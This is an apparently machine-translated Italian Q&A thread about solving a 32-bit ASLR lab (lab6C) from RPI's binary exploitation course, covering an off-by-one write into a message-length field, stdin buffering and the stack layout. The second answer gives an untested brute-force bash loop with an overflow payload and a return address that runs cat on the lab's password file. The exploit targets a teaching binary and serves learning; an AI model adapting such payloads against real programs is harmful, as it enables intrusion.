Laboratorio di sfruttamento dell'overflow del software

2

Lavorare attraverso un corso di sfruttamento binario pubblicato da RPI alcuni anni fa. Attualmente nel laboratorio ASLR e avendo qualche problema con esso (anche se non con le parti correlate all'ASLR). Non riesco a capire come sfruttare per iniziare, per poi affrontare la complessità aggiuntiva del bypass ASLR.

Ecco il codice (in esecuzione su Ubuntu a 32 bit):
link

Penso che da quando hanno compilato senza il canarino ci sia un overflow da sfruttare. Sembra che tutte le dimensioni siano state controllate correttamente eccetto per il ciclo one for ma c'è anche qualche comportamento strano che non capisco.

Cose che faccio / non so o ho provato:
1. Se scrivo 40 caratteri nel nome utente, il ciclo for sovrascrive un byte del campo della lunghezza del messaggio.
2. Se il nome utente è molto lungo, parte del campo tweet viene sovrascritta e l'input dell'utente per fgets sulla riga 58 viene saltato e il tweet non è più vuoto (questa è la parte che non riesco a capire). In set_tweet, la memoria viene azzerata all'inizio comunque, quindi se ci fossero dati vecchi lì, come non potrebbe essere cancellato?
3. Se potessi sovrascrivere più di 1 byte della lunghezza del messaggio della struct, potrei trasferire più di un grande readbuf in tweet e scavalcare quella struttura in altra memoria. La compilazione del test con 41 anziché 40 nel ciclo for lo conferma.

    
posta Praet 29.08.2017 - 01:38
fonte

2 risposte

1
  1. If I write 40 characters to the username, then the for loop overwrites one byte of the message length field.

Hai ragione. Questa sembra la chiave per l'esplosione qui.

  1. If the username is very long, then part of the tweet field is overwritten and the user input for fgets on line 58 is skipped and the tweet is no longer empty (this is the part I can't seem to understand). In set_tweet, the memory is zeroed at the start anyway, so if there was old data there, how could it not be erased?

Questo è davvero poco intuitivo, e abbiamo bisogno di approfondire il modo in cui stdio funziona per spiegarlo.

Quando chiamiamo fgets(readbuf, 128, stdin); (come nella riga 74), fgets legge dallo stdin in readbuf finché non raggiunge una nuova riga o 127 caratteri. Tuttavia, quando scrivi 128 o più caratteri (cioè almeno 127 caratteri prima di una nuova riga), il resto viene mantenuto nel buffer stdin ed estratto quando chiama fgets sulla riga 58. Ecco perché non è necessario chiedere di nuovo all'utente.

Supponiamo che il nostro input di nome utente sia 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567\n

Dopo la riga 74 readbuf sarà 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456

e al raggiungimento della linea 58, readbuf verrà impostato su 7\n .

  1. If I could overwrite more than 1 byte of the message length of the struct, I could transfer more of the large readbuf into tweet and overrun that structure into other memory. Test compilation with 41 instead of 40 in the for loop confirms this.

Bene, puoi scrivere solo fino a 255 byte:)

Tuttavia, è sufficiente per lo explotaition. Si noti che sizeof (struct savestate) = 184, e dopo aver salvato lo stack contiene ebx, il vecchio ebp e ret.

Il layout dello stack in handle_tweet sembra essere il seguente:

0xffffd840  <local2>
0xffffd844  <local1>
0xffffd848  <save>  aka. ebp-0xc0
0xffffd904  <old ebx>
0xffffd908  <old ebp>  current ebp points here
0xffffd90c  <return address>
0xffffd910  previous stack location

Buona fortuna!

    
risposta data 29.08.2017 - 02:51
fonte
1

Ho provato quegli esercizi 1 anno fa, è stato divertente ed educativo. Non è stato in grado di risolverli tutti però.

If I write 40 characters to the username, then the for loop overwrites one byte of the message length field.

Sì, ecco il tuo exploit. Vorrei provare qualcosa di simile:

#!/bin/bash

echo bruteforcin all things

while true 
do  
      python -c 'print "A"*40 + "\xff" + "B"*282 + "\x2b\x77\x76\xb7\n(cat /the/.pass/file/you/should/have/obtain/in/lab6b)\n"' | ./lab6C | grep -E "^[a-zA-Z0-9_\-]{12,}" && break 
done

Non ho verificato il codice sopra in realtà, mi dispiace se ho digitato male qualcosa.

buona fortuna.

    
risposta data 29.08.2017 - 04:03
fonte

Leggi altre domande sui tag